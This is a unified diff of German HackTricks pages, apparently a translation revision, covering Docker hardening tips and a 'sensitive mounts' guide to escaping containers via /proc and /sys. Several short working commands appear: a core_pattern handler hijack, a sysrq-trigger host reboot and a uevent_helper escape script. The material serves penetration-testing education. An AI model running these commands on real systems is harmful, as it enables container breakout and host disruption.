* Verwenden Sie in Ihrem Dockerfile bevorzugt COPY anstelle von ADD. ADD entpackt automatisch komprimierte Dateien und kann Dateien von URLs kopieren. COPY hat diese Funktionen nicht. Vermeiden Sie es, ADD zu verwenden, um nicht anfällig für Angriffe über Remote-URLs und Zip-Dateien zu sein.
|
||||
* Verwenden Sie separate Container für jeden Mikrodienst.
|
||||
* Fügen Sie kein SSH in den Container ein. "docker exec" kann verwendet werden, um eine SSH-Verbindung zum Container herzustellen.
|
||||
* Verwenden Sie kleinere Container-Images.
|
||||
* Verwenden Sie in Ihrem Dockerfile **COPY anstelle von ADD**. ADD extrahiert automatisch komprimierte Dateien und kann Dateien von URLs kopieren. COPY verfügt nicht über diese Funktionen. Vermeiden Sie nach Möglichkeit die Verwendung von ADD, um nicht anfällig für Angriffe über Remote-URLs und Zip-Dateien zu sein.
|
||||
* Verwenden Sie **getrennte Container für jeden Mikrodienst**.
|
||||
* **Fügen Sie kein SSH** in den Container ein, "docker exec" kann verwendet werden, um eine SSH-Verbindung zum Container herzustellen.
|
||||
* Verwenden Sie **kleinere** Container-Images.
|
||||
|
||||
## Docker Breakout / Privilege Escalation
|
||||
## Docker Ausbruch / Privilege Escalation
|
||||
|
||||
Wenn Sie sich **innerhalb eines Docker-Containers** befinden oder Zugriff auf einen Benutzer in der **Docker-Gruppe** haben, können Sie versuchen, auszubrechen und Privilegien zu eskalieren:
|
||||
Wenn Sie **innerhalb eines Docker-Containers** sind oder Zugriff auf einen Benutzer in der **Docker-Gruppe** haben, könnten Sie versuchen, **auszubrechen und Berechtigungen zu eskalieren**:
|
||||
|
||||
{% content-ref url="docker-breakout-privilege-escalation/" %}
|
||||
[docker-breakout-privilege-escalation](docker-breakout-privilege-escalation/)
|
||||
{% endcontent-ref %}
|
||||
|
||||
## Docker Authentication Plugin Bypass
|
||||
## Docker-Authentifizierungsplugin-Umgehung
|
||||
|
||||
Wenn Sie Zugriff auf den Docker-Socket haben oder Zugriff auf einen Benutzer in der **Docker-Gruppe haben, aber Ihre Aktionen durch ein Docker-Authentifizierungsplugin eingeschränkt sind**, überprüfen Sie, ob Sie es umgehen können:
|
||||
Wenn Sie Zugriff auf den Docker-Socket haben oder Zugriff auf einen Benutzer in der **Docker-Gruppe haben, aber Ihre Aktionen durch ein Docker-Authentifizierungsplugin eingeschränkt sind**, überprüfen Sie, ob Sie es **umgehen können**:
|
||||
|
||||
{% content-ref url="authz-and-authn-docker-access-authorization-plugin.md" %}
|
||||
[authz-and-authn-docker-access-authorization-plugin.md](authz-and-authn-docker-access-authorization-plugin.md)
|
||||
|
@ -391,8 +388,8 @@ Wenn Sie Zugriff auf den Docker-Socket haben oder Zugriff auf einen Benutzer in
|
|||
|
||||
## Absicherung von Docker
|
||||
|
||||
* Das Tool [docker-bench-security](https://github.com/docker/docker-bench-security) ist ein Skript, das Dutzende von gängigen Best Practices für die Bereitstellung von Docker-Containern in der Produktion überprüft. Die Tests sind alle automatisiert und basieren auf dem [CIS Docker Benchmark v1.3.1](https://www.cisecurity.org/benchmark/docker/).\
|
||||
Sie müssen das Tool auf dem Host ausführen, auf dem Docker läuft, oder in einem Container mit ausreichenden Berechtigungen. Erfahren Sie **in der README**, wie Sie es ausführen: [**https://github.com/docker/docker-bench-security**](https://github.com/docker/docker-bench-security).
|
||||
* Das Tool [**docker-bench-security**](https://github.com/docker/docker-bench-security) ist ein Skript, das Dutzende gängiger Best Practices für das Bereitstellen von Docker-Containern in der Produktion überprüft. Die Tests sind alle automatisiert und basieren auf dem [CIS Docker Benchmark v1.3.1](https://www.cisecurity.org/benchmark/docker/).\
|
||||
Sie müssen das Tool auf dem Host ausführen, auf dem Docker ausgeführt wird, oder in einem Container mit ausreichenden Berechtigungen. Erfahren Sie, **wie Sie es in der README ausführen können:** [**https://github.com/docker/docker-bench-security**](https://github.com/docker/docker-bench-security).
|
||||
|
||||
## Referenzen
|
||||
|
||||
|
@ -404,13 +401,29 @@ Sie müssen das Tool auf dem Host ausführen, auf dem Docker läuft, oder in ein
|
|||
* [https://sreeninet.wordpress.com/2016/03/06/docker-security-part-3engine-access/](https://sreeninet.wordpress.com/2016/03/06/docker-security-part-3engine-access/)
|
||||
* [https://sreeninet.wordpress.com/2016/03/06/docker-security-part-4container-image/](https://sreeninet.wordpress.com/2016/03/06/docker-security-part-4container-image/)
|
||||
* [https://en.wikipedia.org/wiki/Linux\_namespaces](https://en.wikipedia.org/wiki/Linux\_namespaces)
|
||||
*
|
||||
Andere Möglichkeiten, HackTricks zu unterstützen:
|
||||
* [https://towardsdatascience.com/top-20-docker-security-tips-81c41dd06f57](https://towardsdatascience.com/top-20-docker-security-tips-81c41dd06f57)
|
||||
* [https://www.redhat.com/sysadmin/privileged-flag-container-engines](https://www.redhat.com/sysadmin/privileged-flag-container-engines)
|
||||
* [https://docs.docker.com/engine/extend/plugins\_authorization](https://docs.docker.com/engine/extend/plugins\_authorization)
|
||||
* [https://towardsdatascience.com/top-20-docker-security-tips-81c41dd06f57](https://towardsdatascience.com/top-20-docker-security-tips-81c41dd06f57)
|
||||
* [https://resources.experfy.com/bigdata-cloud/top-20-docker-security-tips/](https://resources.experfy.com/bigdata-cloud/top-20-docker-security-tips/)
|
||||
|
||||
* Wenn Sie Ihr Unternehmen in HackTricks bewerben möchten oder HackTricks als PDF herunterladen möchten, überprüfen Sie die [ABONNEMENTPLÄNE](https://github.com/sponsors/carlospolop)!
|
||||
* Holen Sie sich das [offizielle PEASS & HackTricks-Merchandise](https://peass.creator-spring.com)
|
||||
* Entdecken Sie [The PEASS Family](https://opensea.io/collection/the-peass-family), unsere Sammlung exklusiver [NFTs](https://opensea.io/collection/the-peass-family)
|
||||
* Treten Sie der 💬 [Discord-Gruppe](https://discord.gg/hRep4RUj7f) oder der [Telegram-Gruppe](https://t.me/peass) bei oder folgen Sie uns auf Twitter 🐦 [@carlospolopm](https://twitter.com/hacktricks_live).
|
||||
* Teilen Sie Ihre Hacking-Tricks, indem Sie Pull Requests an die GitHub-Repositories [HackTricks](https://github.com/carlospolop/hacktricks) und [HackTricks Cloud](https://github.com/carlospolop/hacktricks-cloud) senden.
|
||||
<figure><img src="../../../.gitbook/assets/image (3) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
\
|
||||
Verwenden Sie [**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks), um mühelos Workflows zu erstellen und zu automatisieren, die von den weltweit **fortschrittlichsten Community-Tools** unterstützt werden.\
|
||||
Erhalten Sie noch heute Zugriff:
|
||||
|
||||
{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>Erlernen Sie AWS-Hacking von Grund auf mit</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
Andere Möglichkeiten, um HackTricks zu unterstützen:
|
||||
|
||||
* Wenn Sie Ihr **Unternehmen in HackTricks beworben sehen möchten** oder **HackTricks im PDF-Format herunterladen möchten**, überprüfen Sie die [**ABONNEMENTPLÄNE**](https://github.com/sponsors/carlospolop)!
|
||||
* Holen Sie sich das [**offizielle PEASS & HackTricks Merch**](https://peass.creator-spring.com)
|
||||
* Entdecken Sie [**The PEASS Family**](https://opensea.io/collection/the-peass-family), unsere Sammlung exklusiver [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* **Treten Sie der** 💬 [**Discord-Gruppe**](https://discord.gg/hRep4RUj7f) oder der [**Telegram-Gruppe**](https://t.me/peass) bei oder **folgen** Sie uns auf **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Teilen Sie Ihre Hacking-Tricks, indem Sie PRs an die** [**HackTricks**](https://github.com/carlospolop/hacktricks) und [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) GitHub-Repositories einreichen.
|
||||
|
||||
</details>
|
||||
|
|
|
@ -1,166 +1,197 @@
|
|||
# Sensible Mounts
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>Lernen Sie AWS-Hacking von Grund auf mit</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
<summary><strong>Lernen Sie AWS-Hacking von Null auf Held mit</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
|
||||
Andere Möglichkeiten, HackTricks zu unterstützen:
|
||||
|
||||
* Wenn Sie Ihr **Unternehmen in HackTricks bewerben möchten** oder **HackTricks als PDF herunterladen möchten**, überprüfen Sie die [**ABONNEMENTPLÄNE**](https://github.com/sponsors/carlospolop)!
|
||||
* Wenn Sie Ihr **Unternehmen in HackTricks beworben sehen möchten** oder **HackTricks im PDF-Format herunterladen möchten**, überprüfen Sie die [**ABONNEMENTPLÄNE**](https://github.com/sponsors/carlospolop)!
|
||||
* Holen Sie sich das [**offizielle PEASS & HackTricks-Merchandise**](https://peass.creator-spring.com)
|
||||
* Entdecken Sie [**The PEASS Family**](https://opensea.io/collection/the-peass-family), unsere Sammlung exklusiver [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* **Treten Sie der** 💬 [**Discord-Gruppe**](https://discord.gg/hRep4RUj7f) oder der [**Telegramm-Gruppe**](https://t.me/peass) bei oder **folgen** Sie uns auf **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
||||
* **Teilen Sie Ihre Hacking-Tricks, indem Sie PRs an die** [**HackTricks**](https://github.com/carlospolop/hacktricks) und [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) GitHub-Repositories senden.
|
||||
* **Treten Sie der** 💬 [**Discord-Gruppe**](https://discord.gg/hRep4RUj7f) oder der [**Telegram-Gruppe**](https://t.me/peass) bei oder **folgen** Sie uns auf **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Teilen Sie Ihre Hacking-Tricks, indem Sie PRs an die** [**HackTricks**](https://github.com/carlospolop/hacktricks) und [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) GitHub-Repositories einreichen.
|
||||
|
||||
</details>
|
||||
|
||||
Die Offenlegung von `/proc` und `/sys` ohne ordnungsgemäße Namespace-Isolierung birgt erhebliche Sicherheitsrisiken, einschließlich einer Vergrößerung der Angriffsfläche und der Offenlegung von Informationen. Diese Verzeichnisse enthalten sensible Dateien, die bei falscher Konfiguration oder Zugriff durch einen nicht autorisierten Benutzer zu einem Container-Ausbruch, einer Host-Änderung oder zur Bereitstellung von Informationen führen können, die weitere Angriffe unterstützen. Beispielsweise kann das falsche Einhängen von `-v /proc:/host/proc` den AppArmor-Schutz aufgrund seiner pfadbasierten Natur umgehen und `/host/proc` ungeschützt lassen.
|
||||
|
||||
Die Offenlegung von `/proc` und `/sys` ohne ordnungsgemäße Namespace-Isolierung birgt erhebliche Sicherheitsrisiken, einschließlich einer Vergrößerung der Angriffsfläche und der Offenlegung von Informationen. Diese Verzeichnisse enthalten sensible Dateien, die bei falscher Konfiguration oder Zugriff durch einen nicht autorisierten Benutzer zu einem Ausbruch aus dem Container, zur Modifikation des Hosts oder zur Bereitstellung von Informationen führen können, die weitere Angriffe unterstützen. Wenn beispielsweise `-v /proc:/host/proc` falsch eingebunden wird, kann dies aufgrund seiner pfadbasierten Natur den AppArmor-Schutz umgehen und `/host/proc` ungeschützt lassen.
|
||||
**Weitere Details zu jeder potenziellen Schwachstelle finden Sie unter** [**https://0xn3va.gitbook.io/cheat-sheets/container/escaping/sensitive-mounts**](https://0xn3va.gitbook.io/cheat-sheets/container/escaping/sensitive-mounts)**.**
|
||||
|
||||
**Weitere Details zu jeder potenziellen Schwachstelle finden Sie unter [https://0xn3va.gitbook.io/cheat-sheets/container/escaping/sensitive-mounts](https://0xn3va.gitbook.io/cheat-sheets/container/escaping/sensitive-mounts).**
|
||||
## procfs-Schwachstellen
|
||||
|
||||
# procfs-Schwachstellen
|
||||
### `/proc/sys`
|
||||
|
||||
## `/proc/sys`
|
||||
Dieses Verzeichnis ermöglicht den Zugriff auf die Modifikation von Kernelvariablen, normalerweise über `sysctl(2)`, und enthält mehrere Unterordner von Interesse:
|
||||
Dieses Verzeichnis ermöglicht den Zugriff zur Änderung von Kernelvariablen, normalerweise über `sysctl(2)`, und enthält mehrere Unterordner von Interesse:
|
||||
|
||||
#### **`/proc/sys/kernel/core_pattern`**
|
||||
|
||||
* Beschrieben in [core(5)](https://man7.org/linux/man-pages/man5/core.5.html).
|
||||
* Ermöglicht die Definition eines Programms zur Ausführung bei der Generierung von Core-Dateien mit den ersten 128 Bytes als Argumente. Dies kann zu Codeausführung führen, wenn die Datei mit einem Pipe-Zeichen `|` beginnt.
|
||||
* **Beispiel für Test und Ausnutzung**:
|
||||
|
||||
### **`/proc/sys/kernel/core_pattern`**
|
||||
- Beschrieben in [core(5)](https://man7.org/linux/man-pages/man5/core.5.html).
|
||||
- Ermöglicht die Definition eines Programms, das bei der Generierung von Core-Dateien mit den ersten 128 Bytes als Argumente ausgeführt wird. Dies kann zu Codeausführung führen, wenn die Datei mit einem Pipe-Zeichen `|` beginnt.
|
||||
- **Beispiel für Test und Ausnutzung**:
|
||||
```bash
|
||||
[ -w /proc/sys/kernel/core_pattern ] && echo Ja # Test auf Schreibzugriff
|
||||
[ -w /proc/sys/kernel/core_pattern ] && echo Yes # Test auf Schreibzugriff
|
||||
cd /proc/sys/kernel
|
||||
echo "|$overlay/shell.sh" > core_pattern # Benutzerdefinierten Handler festlegen
|
||||
sleep 5 && ./crash & # Handler auslösen
|
||||
```
|
||||
|
||||
### **`/proc/sys/kernel/modprobe`**
|
||||
- Ausführlich beschrieben in [proc(5)](https://man7.org/linux/man-pages/man5/proc.5.html).
|
||||
- Enthält den Pfad zum Kernelmodullader, der zum Laden von Kernelmodulen aufgerufen wird.
|
||||
- **Beispiel zur Überprüfung des Zugriffs**:
|
||||
#### **`/proc/sys/kernel/modprobe`**
|
||||
|
||||
* Ausführlich beschrieben in [proc(5)](https://man7.org/linux/man-pages/man5/proc.5.html).
|
||||
* Enthält den Pfad zum Kernelmodullader, der zum Laden von Kernelmodulen aufgerufen wird.
|
||||
* **Beispiel zur Überprüfung des Zugriffs**:
|
||||
|
||||
```bash
|
||||
ls -l $(cat /proc/sys/kernel/modprobe) # Zugriff auf modprobe überprüfen
|
||||
```
|
||||
|
||||
### **`/proc/sys/vm/panic_on_oom`**
|
||||
- Referenziert in [proc(5)](https://man7.org/linux/man-pages/man5/proc.5.html).
|
||||
- Ein globaler Schalter, der steuert, ob der Kernel bei einem OOM-Zustand in Panik gerät oder den OOM-Killer aufruft.
|
||||
#### **`/proc/sys/vm/panic_on_oom`**
|
||||
|
||||
### **`/proc/sys/fs`**
|
||||
- Gemäß [proc(5)](https://man7.org/linux/man-pages/man5/proc.5.html) enthält es Optionen und Informationen zum Dateisystem.
|
||||
- Schreibzugriff kann verschiedene Denial-of-Service-Angriffe gegen den Host ermöglichen.
|
||||
* Bezugnahme in [proc(5)](https://man7.org/linux/man-pages/man5/proc.5.html).
|
||||
* Ein globaler Schalter, der steuert, ob der Kernel bei einem OOM-Zustand in den Panikmodus wechselt oder den OOM-Killer aufruft.
|
||||
|
||||
### **`/proc/sys/fs/binfmt_misc`**
|
||||
- Ermöglicht die Registrierung von Interpretern für nicht native Binärformate basierend auf ihrer Magic Number.
|
||||
- Kann zu Privilegieneskalation oder Root-Shell-Zugriff führen, wenn `/proc/sys/fs/binfmt_misc/register` beschreibbar ist.
|
||||
- Relevanter Exploit und Erklärung:
|
||||
- [Rootkit für arme Leute über binfmt_misc](https://github.com/toffan/binfmt_misc)
|
||||
- Ausführliches Tutorial: [Video-Link](https://www.youtube.com/watch?v=WBC7hhgMvQQ)
|
||||
#### **`/proc/sys/fs`**
|
||||
|
||||
## Andere in `/proc`
|
||||
* Gemäß [proc(5)](https://man7.org/linux/man-pages/man5/proc.5.html) enthält Optionen und Informationen zum Dateisystem.
|
||||
* Schreibzugriff kann verschiedene Denial-of-Service-Angriffe gegen den Host ermöglichen.
|
||||
|
||||
### **`/proc/config.gz`**
|
||||
- Kann die Kernelkonfiguration offenlegen, wenn `CONFIG_IKCONFIG_PROC` aktiviert ist.
|
||||
- Nützlich für Angreifer, um Schwachstellen im laufenden Kernel zu identifizieren.
|
||||
#### **`/proc/sys/fs/binfmt_misc`**
|
||||
|
||||
* Ermöglicht die Registrierung von Interpretern für nicht native Binärformate anhand ihrer Magiezahl.
|
||||
* Kann zu Privilegieneskalation oder Root-Shell-Zugriff führen, wenn `/proc/sys/fs/binfmt_misc/register` beschreibbar ist.
|
||||
* Relevanter Exploit und Erklärung:
|
||||
* [Rootkit auf einfache Art über binfmt\_misc](https://github.com/toffan/binfmt\_misc)
|
||||
* Ausführliches Tutorial: [Video-Link](https://www.youtube.com/watch?v=WBC7hhgMvQQ)
|
||||
|
||||
### Andere in `/proc`
|
||||
|
||||
#### **`/proc/config.gz`**
|
||||
|
||||
* Kann die Kernelkonfiguration offenlegen, wenn `CONFIG_IKCONFIG_PROC` aktiviert ist.
|
||||
* Nützlich für Angreifer, um Schwachstellen im laufenden Kernel zu identifizieren.
|
||||
|
||||
#### **`/proc/sysrq-trigger`**
|
||||
|
||||
* Ermöglicht das Auslösen von Sysrq-Befehlen, die potenziell sofortige Systemneustarts oder andere kritische Aktionen verursachen können.
|
||||
* **Beispiel zum Neustart des Hosts**:
|
||||
|
||||
### **`/proc/sysrq-trigger`**
|
||||
- Ermöglicht das Auslösen von Sysrq-Befehlen, die potenziell sofortige Systemneustarts oder andere kritische Aktionen verursachen können.
|
||||
- **Beispiel zum Neustarten des Hosts**:
|
||||
```bash
|
||||
echo b > /proc/sysrq-trigger # Startet den Host neu
|
||||
```
|
||||
|
||||
### **`/proc/kmsg`**
|
||||
- Stellt Kernel-Ringpuffermeldungen bereit.
|
||||
- Kann bei Kernel-Exploits, Adresslecks und der Bereitstellung sensibler Systeminformationen helfen.
|
||||
#### **`/proc/kmsg`**
|
||||
|
||||
### **`/proc/kallsyms`**
|
||||
- Listet exportierte Kernel-Symbole und ihre Adressen auf.
|
||||
- Wesentlich für die Entwicklung von Kernel-Exploits, insbesondere zur Überwindung von KASLR.
|
||||
- Adressinformationen sind eingeschränkt, wenn `kptr_restrict` auf `1` oder `2` gesetzt ist.
|
||||
- Details in [proc(5)](https://man7.org/linux/man-pages/man5/proc.5.html).
|
||||
* Stellt Kernelringpuffermeldungen bereit.
|
||||
* Kann bei Kernel-Exploits, Adresslecks und der Bereitstellung sensibler Systeminformationen helfen.
|
||||
|
||||
### **`/proc/[pid]/mem`**
|
||||
- Interagiert mit dem Kernel-Speichergerät `/dev/mem`.
|
||||
- Historisch anfällig für Privilegieneskalationsangriffe.
|
||||
- Weitere Informationen unter [proc(5)](https://man7.org/linux/man-pages/man5/proc.5.html).
|
||||
#### **`/proc/kallsyms`**
|
||||
|
||||
### **`/proc/kcore`**
|
||||
- Stellt den physischen Speicher des Systems im ELF-Core-Format dar.
|
||||
- Das Lesen kann den Speicherinhalt des Hostsystems und anderer Container preisgeben.
|
||||
- Eine große Dateigröße kann zu Leseproblemen oder Softwareabstürzen führen.
|
||||
- Detaillierte Verwendung in [Dumping /proc/kcore in 2019](https://schlafwandler.github.io/posts/dumping-/proc/kcore/).
|
||||
* Listet exportierte Kernel-Symbole und deren Adressen auf.
|
||||
* Wesentlich für die Entwicklung von Kernel-Exploits, insbesondere zur Überwindung von KASLR.
|
||||
* Adressinformationen sind mit `kptr_restrict` auf `1` oder `2` beschränkt.
|
||||
* Details in [proc(5)](https://man7.org/linux/man-pages/man5/proc.5.html).
|
||||
|
||||
### **`/proc/kmem`**
|
||||
- Alternative Schnittstelle für `/dev/kmem`, die den virtuellen Speicher des Kernels darstellt.
|
||||
- Ermöglicht das Lesen und Schreiben und damit die direkte Modifikation des Kernel-Speichers.
|
||||
#### **`/proc/[pid]/mem`**
|
||||
|
||||
### **`/proc/mem`**
|
||||
- Alternative Schnittstelle für `/dev/mem`, die den physischen Speicher darstellt.
|
||||
- Ermöglicht das Lesen und Schreiben, die Modifikation des gesamten Speichers erfordert die Auflösung von virtuellen in physische Adressen.
|
||||
* Interagiert mit dem Kernel-Speichergerät `/dev/mem`.
|
||||
* Historisch anfällig für Privilegieneskalationsangriffe.
|
||||
* Mehr dazu in [proc(5)](https://man7.org/linux/man-pages/man5/proc.5.html).
|
||||
|
||||
### **`/proc/sched_debug`**
|
||||
- Gibt Informationen zur Prozessplanung zurück und umgeht den PID-Namespace-Schutz.
|
||||
- Stellt Prozessnamen, IDs und cgroup-Bezeichner offen.
|
||||
#### **`/proc/kcore`**
|
||||
|
||||
### **`/proc/[pid]/mountinfo`**
|
||||
- Bietet Informationen über Mountpoints im Mount-Namespace des Prozesses.
|
||||
- Zeigt den Speicherort des Container-`rootfs` oder des Images an.
|
||||
* Stellt den physischen Speicher des Systems im ELF-Core-Format dar.
|
||||
* Das Lesen kann den Speicherinhalt des Host-Systems und anderer Container preisgeben.
|
||||
* Eine große Dateigröße kann zu Leseproblemen oder Softwareabstürzen führen.
|
||||
* Detaillierte Verwendung in [Dumping /proc/kcore in 2019](https://schlafwandler.github.io/posts/dumping-/proc/kcore/).
|
||||
|
||||
## `/sys`-Schwachstellen
|
||||
#### **`/proc/kmem`**
|
||||
|
||||
* Alternative Schnittstelle für `/dev/kmem`, die den virtuellen Kernel-Speicher darstellt.
|
||||
* Ermöglicht das Lesen und Schreiben, daher direkte Modifikation des Kernel-Speichers.
|
||||
|
||||
#### **`/proc/mem`**
|
||||
|
||||
* Alternative Schnittstelle für `/dev/mem`, die den physischen Speicher darstellt.
|
||||
* Ermöglicht das Lesen und Schreiben, die Modifikation des gesamten Speichers erfordert die Auflösung virtueller in physische Adressen.
|
||||
|
||||
#### **`/proc/sched_debug`**
|
||||
|
||||
* Gibt Informationen zur Prozessplanung zurück und umgeht PID-Namensraumschutzmaßnahmen.
|
||||
* Stellt Prozessnamen, IDs und cgroup-Bezeichner offen.
|
||||
|
||||
#### **`/proc/[pid]/mountinfo`**
|
||||
|
||||
* Bietet Informationen über Einhängepunkte im Einhängepunkt-Namensraum des Prozesses.
|
||||
* Stellt den Speicherort des Container-`rootfs` oder des Images offen.
|
||||
|
||||
### sys-Schwachstellen
|
||||
|
||||
#### **`/sys/kernel/uevent_helper`**
|
||||
|
||||
* Wird zur Behandlung von Kernelgeräte-`uevents` verwendet.
|
||||
* Das Schreiben in `/sys/kernel/uevent_helper` kann beliebige Skripte bei `uevent`-Auslösungen ausführen.
|
||||
* **Beispiel für Ausnutzung**: %%%bash
|
||||
|
||||
## Erstellt ein Payload
|
||||
|
||||
echo "#!/bin/sh" > /evil-helper echo "ps > /output" >> /evil-helper chmod +x /evil-helper
|
||||
|
||||
## Ermittelt den Hostpfad aus dem OverlayFS-Einhängepunkt für den Container
|
||||
|
||||
host\_path=$(sed -n 's/._\perdir=(\[^,]_).\*/\1/p' /etc/mtab)
|
||||
|
||||
## Setzt uevent\_helper auf bösartigen Helfer
|
||||
|
||||
echo "$host\_path/evil-helper" > /sys/kernel/uevent\_helper
|
||||
|
||||
## Löst ein uevent aus
|
||||
|
||||
### **`/sys/kernel/uevent_helper`**
|
||||
- Wird zum Umgang mit Kernelgeräte-`uevents` verwendet.
|
||||
- Das Schreiben in `/sys/kernel/uevent_helper` kann beliebige Skripte bei `uevent`-Auslösungen ausführen.
|
||||
- **Beispiel für Ausnutzung**:
|
||||
%%%bash
|
||||
# Erstellt eine Payload
|
||||
echo "#!/bin/sh" > /evil-helper
|
||||
echo "ps > /output" >> /evil-helper
|
||||
chmod +x /evil-helper
|
||||
# Ermittelt den Hostpfad aus dem OverlayFS-Mount für den Container
|
||||
host_path=$(sed -n 's/.*\perdir=\([^,]*\).*/\1/p' /etc/mtab)
|
||||
# Setzt uevent_helper auf bösartigen Helper
|
||||
echo "$host_path/evil-helper" > /sys/kernel/uevent_helper
|
||||
# Löst ein uevent aus
|
||||
echo change > /sys/class/mem/null/uevent
|
||||
# Liest die Ausgabe
|
||||
cat /output
|
||||
%%%
|
||||
### **`/sys/class/thermal`**
|
||||
- Steuert Temperatureinstellungen und kann potenziell DoS-Angriffe oder physische Schäden verursachen.
|
||||
|
||||
### **`/sys/kernel/vmcoreinfo`**
|
||||
- Leakt Kernel-Adressen und gefährdet potenziell KASLR.
|
||||
## Liest die Ausgabe
|
||||
|
||||
### **`/sys/kernel/security`**
|
||||
- Beherbergt die `securityfs`-Schnittstelle, die die Konfiguration von Linux Security Modules wie AppArmor ermöglicht.
|
||||
- Der Zugriff könnte einem Container ermöglichen, sein MAC-System zu deaktivieren.
|
||||
cat /output %%%
|
||||
#### **`/sys/class/thermal`**
|
||||
|
||||
### **`/sys/firmware/efi/vars` und `/sys/firmware/efi/efivars`**
|
||||
- Bietet Schnittstellen zur Interaktion mit EFI-Variablen im NVRAM.
|
||||
- Fehlkonfiguration oder Ausnutzung kann zu unbrauchbaren Laptops oder nicht bootfähigen Host-Maschinen führen.
|
||||
* Steuert Temperatureinstellungen und kann potenziell DoS-Angriffe oder physische Schäden verursachen.
|
||||
|
||||
### **`/sys/kernel/debug`**
|
||||
- `debugfs` bietet eine "no rules" Debugging-Schnittstelle zum Kernel.
|
||||
- Es gab bereits Sicherheitsprobleme aufgrund seiner uneingeschränkten Natur.
|
||||
#### **`/sys/kernel/vmcoreinfo`**
|
||||
|
||||
* Gibt Kernel-Adressen preis und gefährdet potenziell KASLR.
|
||||
|
||||
#### **`/sys/kernel/security`**
|
||||
|
||||
* Beherbergt die `securityfs`-Schnittstelle, die die Konfiguration von Linux Security Modules wie AppArmor ermöglicht.
|
||||
* Der Zugriff könnte einem Container ermöglichen, sein MAC-System zu deaktivieren.
|
||||
|
||||
#### **`/sys/firmware/efi/vars` und `/sys/firmware/efi/efivars`**
|
||||
|
||||
* Bietet Schnittstellen zur Interaktion mit EFI-Variablen im NVRAM.
|
||||
* Falsche Konfiguration oder Ausnutzung kann zu unbrauchbaren Laptops oder nicht bootfähigen Host-Maschinen führen.
|
||||
|
||||
#### **`/sys/kernel/debug`**
|
||||
|
||||
* `debugfs` bietet eine "keine Regeln" Debugging-Schnittstelle zum Kernel.
|
||||
* Es gab Sicherheitsprobleme aufgrund seiner uneingeschränkten Natur.
|
||||
|
||||
### Referenzen
|
||||
|
||||
## Referenzen
|
||||
* [https://0xn3va.gitbook.io/cheat-sheets/container/escaping/sensitive-mounts](https://0xn3va.gitbook.io/cheat-sheets/container/escaping/sensitive-mounts)
|
||||
* [Understanding and Hardening Linux Containers](https://research.nccgroup.com/wp-content/uploads/2020/07/ncc\_group\_understanding\_hardening\_linux\_containers-1-1.pdf)
|
||||
* [Abusing Privileged and Unprivileged Linux Containers](https://www.nccgroup.com/globalassets/our-research/us/whitepapers/2016/june/container\_whitepaper.pdf)
|
||||
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>Lernen Sie AWS-Hacking von Grund auf mit</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
<summary><strong>Erlernen Sie AWS-Hacking von Null auf Held mit</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
|
||||
Andere Möglichkeiten, HackTricks zu unterstützen:
|
||||
|
||||
* Wenn Sie Ihr **Unternehmen in HackTricks bewerben möchten** oder **HackTricks als PDF herunterladen möchten**, überprüfen Sie die [**ABONNEMENTPLÄNE**](https://github.com/sponsors/carlospolop)!
|
||||
* Holen Sie sich das [**offizielle PEASS & HackTricks-Merchandise**](https://peass.creator-spring.com)
|
||||
* Wenn Sie Ihr **Unternehmen in HackTricks beworben sehen möchten** oder **HackTricks im PDF-Format herunterladen möchten**, überprüfen Sie die [**ABONNEMENTPLÄNE**](https://github.com/sponsors/carlospolop)!
|
||||
* Holen Sie sich das [**offizielle PEASS & HackTricks-Merch**](https://peass.creator-spring.com)
|
||||
* Entdecken Sie [**The PEASS Family**](https://opensea.io/collection/the-peass-family), unsere Sammlung exklusiver [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* **Treten Sie der** 💬 [**Discord-Gruppe**](https://discord.gg/hRep4RUj7f) oder der [**Telegram-Gruppe**](https://t.me/peass) bei oder **folgen** Sie uns auf **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
||||
* **Teilen Sie Ihre Hacking-Tricks, indem Sie Pull Requests an die** [**HackTricks**](https://github.com/carlospolop/hacktricks) und [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) GitHub-Repositories senden.
|
||||
* **Treten Sie der** 💬 [**Discord-Gruppe**](https://discord.gg/hRep4RUj7f) oder der [**Telegram-Gruppe**](https://t.me/peass) bei oder **folgen** Sie uns auf **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Teilen Sie Ihre Hacking-Tricks, indem Sie PRs an die** [**HackTricks**](https://github.com/carlospolop/hacktricks) und [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) GitHub-Repositories einreichen.
|
||||
|
||||
</details>
|
||||
|
|
|
@ -6,11 +6,11 @@
|
|||
|
||||
Andere Möglichkeiten, HackTricks zu unterstützen:
|
||||
|
||||
